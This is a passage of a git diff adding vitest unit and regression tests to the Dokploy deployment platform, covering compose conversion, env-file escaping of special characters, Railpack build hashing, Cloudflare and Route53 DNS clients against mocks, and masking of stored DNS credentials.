import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
|
||||
...(await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>()),
|
||||
execAsyncRemote: vi.fn(),
|
||||
}));
|
||||
|
||||
describe("raw remote compose conversion (#4794)", () => {
|
||||
it("uses the saved raw source and preserves supported mount syntax", async () => {
|
||||
vi.mocked(execAsyncRemote).mockResolvedValue({
|
||||
stdout: "services:\n test:\n image: alpine:latest\n",
|
||||
stderr: "",
|
||||
});
|
||||
|
||||
const compose = {
|
||||
appName: "raw-stack",
|
||||
composeFile: `
|
||||
services:
|
||||
test:
|
||||
image: alpine:latest
|
||||
volumes:
|
||||
- type: tmpfs
|
||||
target: /scratch
|
||||
- type: volume
|
||||
source: test-data
|
||||
target: /data
|
||||
tmpfs:
|
||||
- /cache
|
||||
volumes:
|
||||
test-data:
|
||||
`,
|
||||
composePath: "./docker-compose.yml",
|
||||
composeType: "stack",
|
||||
isolatedDeployment: false,
|
||||
isolatedDeploymentsVolume: false,
|
||||
randomize: false,
|
||||
serverId: "remote-server",
|
||||
sourceType: "raw",
|
||||
suffix: "",
|
||||
} as unknown as Parameters<typeof addDomainToCompose>[0];
|
||||
|
||||
const converted = await addDomainToCompose(compose, []);
|
||||
|
||||
expect(converted?.services?.test?.volumes).toEqual([
|
||||
{ type: "tmpfs", target: "/scratch" },
|
||||
{
|
||||
type: "volume",
|
||||
source: "test-data",
|
||||
target: "/data",
|
||||
},
|
||||
]);
|
||||
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
|
||||
expect(execAsyncRemote).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
96
apps/dokploy/__test__/compose/env-file-literals.test.ts
Normal file
96
apps/dokploy/__test__/compose/env-file-literals.test.ts
Normal file
@ -0,0 +1,96 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
|
||||
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
|
||||
const appName = `env-file-literals-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
|
||||
afterEach(() => {
|
||||
try {
|
||||
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
|
||||
cwd: codePath,
|
||||
stdio: "ignore",
|
||||
});
|
||||
} catch {
|
||||
// Project may not have been created (e.g. an earlier assertion failed).
|
||||
}
|
||||
rmSync(projectPath, { force: true, recursive: true });
|
||||
});
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: '!"#$%&/()=?',
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: "abc#de",
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
|
||||
};
|
||||
|
||||
// How each value must be typed in the UI so the (unchanged) dotenv input
|
||||
// parser resolves it to the raw string in `cases` above.
|
||||
const inputEncoding: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
SPECIAL: `'!"#$%&/()=?'`,
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
MAIL_PASSWORD: `"abc#de"`,
|
||||
TRAILING_BACKSLASH: "trailing\\",
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
APOSTROPHE: "it's a test",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
|
||||
};
|
||||
|
||||
describe("getCreateEnvFileCommand", () => {
|
||||
it("writes special environment values that Docker Compose reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(inputEncoding)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = getCreateEnvFileCommand({
|
||||
appName,
|
||||
composePath: "docker-compose.yml",
|
||||
env: serviceEnv,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as Parameters<typeof getCreateEnvFileCommand>[0]);
|
||||
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
|
||||
cases,
|
||||
)
|
||||
.map((key) => ` - ${key}=\${${key}}`)
|
||||
.join("\n")}\n`;
|
||||
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
|
||||
|
||||
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
|
||||
|
||||
const out = execFileSync(
|
||||
"docker",
|
||||
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
|
||||
{ cwd: codePath, encoding: "utf8" },
|
||||
);
|
||||
|
||||
const parts = out.split("\0");
|
||||
const actual: Record<string, string> = {};
|
||||
for (let i = 0; i < parts.length - 1; i += 2) {
|
||||
actual[parts[i] as string] = parts[i + 1] as string;
|
||||
}
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(actual[key], key).toBe(value);
|
||||
}
|
||||
}, 60000);
|
||||
});
|
||||
45
apps/dokploy/__test__/compose/env-file-preserved.test.ts
Normal file
45
apps/dokploy/__test__/compose/env-file-preserved.test.ts
Normal file
@ -0,0 +1,45 @@
|
||||
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
// Compose now has a `createEnvFile` toggle (default true), mirroring the
|
||||
// Application builder's flag: when disabled, Dokploy never writes `.env`,
|
||||
// so a repo-tracked file survives untouched.
|
||||
vi.mock("@dokploy/server/utils/docker/domain", () => ({
|
||||
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
|
||||
}));
|
||||
|
||||
const baseCompose = {
|
||||
appName: "env-file-toggle",
|
||||
sourceType: "raw",
|
||||
command: "",
|
||||
composePath: "docker-compose.yml",
|
||||
composeType: "docker-compose",
|
||||
isolatedDeployment: false,
|
||||
randomize: false,
|
||||
suffix: "",
|
||||
serverId: null,
|
||||
env: "FOO=bar",
|
||||
mounts: [],
|
||||
domains: [],
|
||||
environment: { project: { env: "" }, env: "" },
|
||||
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
|
||||
|
||||
describe("getBuildComposeCommand createEnvFile toggle", () => {
|
||||
it("createEnvFile: false never writes the .env file", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: false,
|
||||
});
|
||||
|
||||
expect(command).not.toContain("base64 -d >");
|
||||
});
|
||||
|
||||
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
|
||||
const command = await getBuildComposeCommand({
|
||||
...baseCompose,
|
||||
createEnvFile: true,
|
||||
});
|
||||
|
||||
expect(command).toContain("base64 -d >");
|
||||
});
|
||||
});
|
||||
@ -0,0 +1,43 @@
|
||||
import { execFileSync } from "node:child_process";
|
||||
import { mkdirSync, readFileSync, rmSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
|
||||
import { parse } from "dotenv";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
// Unlike compose's .env, this one is read by the app's own build tooling
|
||||
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
|
||||
const appName = `env-file-literals-dockerfile-${process.pid}`;
|
||||
const projectPath = join(process.cwd(), ".docker", "compose", appName);
|
||||
const codePath = join(projectPath, "code");
|
||||
const dockerFilePath = join(codePath, "Dockerfile");
|
||||
|
||||
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
|
||||
|
||||
const cases: Record<string, string> = {
|
||||
PASSWORD: "pa$$word",
|
||||
NESTED_JSON: '{"nested":{"a":1}}',
|
||||
QUOTE_INSIDE: 'she said "hi"',
|
||||
BACKSLASH: "back\\slash",
|
||||
UNICODE: "héllo wörld 日本語 🚀",
|
||||
};
|
||||
|
||||
describe("createEnvFileCommand", () => {
|
||||
it("writes special environment values that a generic dotenv parser reads back literally", () => {
|
||||
mkdirSync(codePath, { recursive: true });
|
||||
|
||||
const serviceEnv = Object.entries(cases)
|
||||
.map(([key, value]) => `${key}=${value}`)
|
||||
.join("\n");
|
||||
|
||||
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
|
||||
execFileSync("bash", ["-c", command]);
|
||||
|
||||
const written = readFileSync(join(codePath, ".env"), "utf8");
|
||||
const parsed = parse(written);
|
||||
|
||||
for (const [key, value] of Object.entries(cases)) {
|
||||
expect(parsed[key], key).toBe(value);
|
||||
}
|
||||
});
|
||||
});
|
||||
104
apps/dokploy/__test__/deploy/railpack.command.test.ts
Normal file
104
apps/dokploy/__test__/deploy/railpack.command.test.ts
Normal file
@ -0,0 +1,104 @@
|
||||
import type { ApplicationNested } from "@dokploy/server/utils/builders";
|
||||
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const createApplication = (
|
||||
overrides: Partial<ApplicationNested> = {},
|
||||
): ApplicationNested =>
|
||||
({
|
||||
appName: "test-app",
|
||||
buildType: "railpack",
|
||||
sourceType: "git",
|
||||
buildPath: "/",
|
||||
railpackVersion: "0.15.4",
|
||||
env: "TEST_VAR=one",
|
||||
cleanCache: false,
|
||||
environment: {
|
||||
project: {
|
||||
env: "",
|
||||
},
|
||||
env: "",
|
||||
},
|
||||
...overrides,
|
||||
}) as unknown as ApplicationNested;
|
||||
|
||||
const getSecretsHash = (command: string) => {
|
||||
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
|
||||
if (!match?.[1]) {
|
||||
throw new Error("secrets-hash build arg was not found");
|
||||
}
|
||||
|
||||
return match[1];
|
||||
};
|
||||
|
||||
describe("getRailpackCommand", () => {
|
||||
it("includes secrets-hash without clean cache", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).not.toContain("cache-key=");
|
||||
});
|
||||
|
||||
it("includes cache-key only when clean cache is enabled", () => {
|
||||
const command = getRailpackCommand(
|
||||
createApplication({
|
||||
cleanCache: true,
|
||||
}),
|
||||
);
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).toContain("--build-arg cache-key=");
|
||||
});
|
||||
|
||||
it("changes secrets-hash when an environment value changes", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=one",
|
||||
}),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=two",
|
||||
}),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
|
||||
it("changes secrets-hash when referenced project or environment values change", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=one",
|
||||
},
|
||||
env: "SHARED_VALUE=alpha",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=two",
|
||||
},
|
||||
env: "SHARED_VALUE=beta",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
});
|
||||
214
apps/dokploy/__test__/dns/cloudflare.test.ts
Normal file
214
apps/dokploy/__test__/dns/cloudflare.test.ts
Normal file
@ -0,0 +1,214 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
const cfSuccess = (result: unknown) =>
|
||||
jsonResponse({ success: true, errors: [], result });
|
||||
|
||||
const cfError = (message: string, status = 400) =>
|
||||
jsonResponse(
|
||||
{ success: false, errors: [{ code: 1, message }] },
|
||||
false,
|
||||
status,
|
||||
);
|
||||
|
||||
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
|
||||
|
||||
beforeEach(() => {
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
describe("cloudflareClient.listZones", () => {
|
||||
it("returns a single page of zones", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
|
||||
|
||||
const zones = await cloudflareClient.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url] = mockFetch.mock.calls[0] as [string];
|
||||
expect(url).toContain("/zones?per_page=50&page=1");
|
||||
});
|
||||
|
||||
it("paginates until a short page is returned", async () => {
|
||||
const page = (count: number) =>
|
||||
cfSuccess(
|
||||
Array.from({ length: count }, (_, i) => ({
|
||||
id: `z${i}`,
|
||||
name: `zone${i}.com`,
|
||||
})),
|
||||
);
|
||||
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
|
||||
|
||||
const zones = await cloudflareClient.listZones(config);
|
||||
|
||||
expect(zones).toHaveLength(53);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.listRecords", () => {
|
||||
it("lists records for a zone", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
cfSuccess([
|
||||
{
|
||||
id: "r1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await cloudflareClient.listRecords(config, "zone-1");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "r1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
},
|
||||
]);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.upsertRecord", () => {
|
||||
it("creates a record when none exists for the name/type", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "new-1" });
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(createInit.method).toBe("POST");
|
||||
});
|
||||
|
||||
it("updates the existing record instead of creating a duplicate", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "existing-1" });
|
||||
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
|
||||
string,
|
||||
RequestInit,
|
||||
];
|
||||
expect(updateUrl).toContain("/dns_records/existing-1");
|
||||
expect(updateInit.method).toBe("PUT");
|
||||
});
|
||||
|
||||
it("defaults ttl to 1 (automatic) when not provided", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "CNAME",
|
||||
name: "www.example.com",
|
||||
content: "example.com",
|
||||
});
|
||||
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(createInit.body as string);
|
||||
expect(body.ttl).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.updateRecord", () => {
|
||||
it("PUTs directly to the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
|
||||
|
||||
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "r1" });
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||
expect(init.method).toBe("PUT");
|
||||
expect(JSON.parse(init.body as string)).toEqual({
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.deleteRecord", () => {
|
||||
it("DELETEs the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess({}));
|
||||
|
||||
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
|
||||
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||
expect(init.method).toBe("DELETE");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.testConnection", () => {
|
||||
it("succeeds when the token can list zones", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||
await expect(
|
||||
cloudflareClient.testConnection(config),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
||||
it("surfaces Cloudflare's error message on an invalid token", async () => {
|
||||
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
|
||||
|
||||
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
|
||||
"Invalid API Token",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient auth header", () => {
|
||||
it("trims whitespace pasted into the token", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||
|
||||
await cloudflareClient.testConnection({
|
||||
providerType: "cloudflare",
|
||||
apiToken: " cf-token\n",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect((init.headers as Record<string, string>).Authorization).toBe(
|
||||
"Bearer cf-token",
|
||||
);
|
||||
});
|
||||
});
|
||||
116
apps/dokploy/__test__/dns/dns-provider-service.test.ts
Normal file
116
apps/dokploy/__test__/dns/dns-provider-service.test.ts
Normal file
@ -0,0 +1,116 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
|
||||
insert: vi.fn(),
|
||||
update: vi.fn(),
|
||||
delete: vi.fn(),
|
||||
},
|
||||
}));
|
||||
|
||||
import {
|
||||
DNS_SECRET_MASK,
|
||||
maskDnsProviderConfig,
|
||||
mergeDnsProviderConfig,
|
||||
} from "@dokploy/server/services/dns-provider";
|
||||
|
||||
describe("maskDnsProviderConfig", () => {
|
||||
it("masks the apiToken for a cloudflare config", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "cloudflare",
|
||||
apiToken: "real-token",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({
|
||||
providerType: "cloudflare",
|
||||
apiToken: DNS_SECRET_MASK,
|
||||
});
|
||||
});
|
||||
|
||||
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_VISIBLE",
|
||||
secretAccessKey: "shh",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_VISIBLE",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
});
|
||||
});
|
||||
|
||||
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
|
||||
const masked = maskDnsProviderConfig({
|
||||
providerType: "cloudflare",
|
||||
apiToken: "",
|
||||
});
|
||||
|
||||
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("mergeDnsProviderConfig", () => {
|
||||
it("restores the real secret when the incoming config still has the mask placeholder", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "real-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
|
||||
});
|
||||
|
||||
it("keeps a freshly entered secret instead of the stored one", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "old-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "new-token",
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
|
||||
});
|
||||
|
||||
it("throws when switching provider type while the field is still masked", () => {
|
||||
const existing = {
|
||||
providerType: "cloudflare" as const,
|
||||
apiToken: "real-token",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
|
||||
"Credentials must be re-entered",
|
||||
);
|
||||
});
|
||||
|
||||
it("does not require re-entry for fields that are not sensitive", () => {
|
||||
const existing = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_OLD",
|
||||
secretAccessKey: "old-secret",
|
||||
};
|
||||
const incoming = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_NEW",
|
||||
secretAccessKey: DNS_SECRET_MASK,
|
||||
};
|
||||
|
||||
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
|
||||
providerType: "route53",
|
||||
accessKeyId: "AKIA_NEW",
|
||||
secretAccessKey: "old-secret",
|
||||
});
|
||||
});
|
||||
});
|
||||
288
apps/dokploy/__test__/dns/route53.test.ts
Normal file
288
apps/dokploy/__test__/dns/route53.test.ts
Normal file
@ -0,0 +1,288 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
type HasInput = { input: any };
|
||||
|
||||
const {
|
||||
send,
|
||||
Route53Client,
|
||||
ListHostedZonesCommand,
|
||||
ListResourceRecordSetsCommand,
|
||||
ChangeResourceRecordSetsCommand,
|
||||
} = vi.hoisted(() => {
|
||||
class FakeCommand {
|
||||
input: any;
|
||||
constructor(input: any) {
|
||||
this.input = input;
|
||||
}
|
||||
}
|
||||
const send = vi.fn();
|
||||
class Route53Client {
|
||||
send(command: unknown) {
|
||||
return send(command);
|
||||
}
|
||||
}
|
||||
return {
|
||||
send,
|
||||
Route53Client,
|
||||
ListHostedZonesCommand: class extends FakeCommand {},
|
||||
ListResourceRecordSetsCommand: class extends FakeCommand {},
|
||||
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("@aws-sdk/client-route-53", () => ({
|
||||
Route53Client,
|
||||
ListHostedZonesCommand,
|
||||
ListResourceRecordSetsCommand,
|
||||
ChangeResourceRecordSetsCommand,
|
||||
}));
|
||||
|
||||
import { route53Client } from "@dokploy/server/utils/dns/route53";
|
||||
|
||||
const config = {
|
||||
providerType: "route53" as const,
|
||||
accessKeyId: "AKIA_TEST",
|
||||
secretAccessKey: "secret",
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
send.mockReset();
|
||||
});
|
||||
|
||||
describe("route53Client.listZones", () => {
|
||||
it("strips the hostedzone prefix and the trailing dot", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const zones = await route53Client.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
|
||||
});
|
||||
|
||||
it("follows the marker until IsTruncated is false", async () => {
|
||||
send
|
||||
.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
|
||||
IsTruncated: true,
|
||||
NextMarker: "marker-1",
|
||||
})
|
||||
.mockResolvedValueOnce({
|
||||
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const zones = await route53Client.listZones(config);
|
||||
|
||||
expect(zones).toEqual([
|
||||
{ id: "Z1", name: "a.com" },
|
||||
{ id: "Z2", name: "b.com" },
|
||||
]);
|
||||
expect(send).toHaveBeenCalledTimes(2);
|
||||
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.listRecords", () => {
|
||||
it("builds a type:name id and strips the trailing dot from the name", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
},
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "A:app.example.com",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 300,
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records).toEqual([]);
|
||||
});
|
||||
|
||||
it("joins multiple values for the same record", async () => {
|
||||
send.mockResolvedValueOnce({
|
||||
ResourceRecordSets: [
|
||||
{
|
||||
Name: "example.com.",
|
||||
Type: "NS",
|
||||
TTL: 172800,
|
||||
ResourceRecords: [
|
||||
{ Value: "ns1.example.com" },
|
||||
{ Value: "ns2.example.com" },
|
||||
],
|
||||
},
|
||||
],
|
||||
IsTruncated: false,
|
||||
});
|
||||
|
||||
const records = await route53Client.listRecords(config, "Z123");
|
||||
|
||||
expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com");
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.upsertRecord", () => {
|
||||
it("sends a single UPSERT change", async () => {
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
const result = await route53Client.upsertRecord(config, {
|
||||
zoneId: "Z123",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "A:app.example.com" });
|
||||
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||
expect(command.input.HostedZoneId).toBe("Z123");
|
||||
expect(command.input.ChangeBatch.Changes).toEqual([
|
||||
{
|
||||
Action: "UPSERT",
|
||||
ResourceRecordSet: {
|
||||
Name: "app.example.com.",
|
||||
Type: "A",
|
||||
TTL: 300,
|
||||
ResourceRecords: [{ Value: "1.2.3.4" }],
|
||||
},
|
||||
},
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("route53Client.updateRecord", () => {
|
||||
it("only UPSERTs when the name/type identity did not change", async () => {
|
||||
send.mockResolvedValueOnce({});
|
||||
|
||||
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
});
|
||||
|
||||
expect(send).toHaveBeenCalledTimes(1);
|
||||
const command = send.mock.calls[0]?.[0] as HasInput;
|
||||
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
|
||||
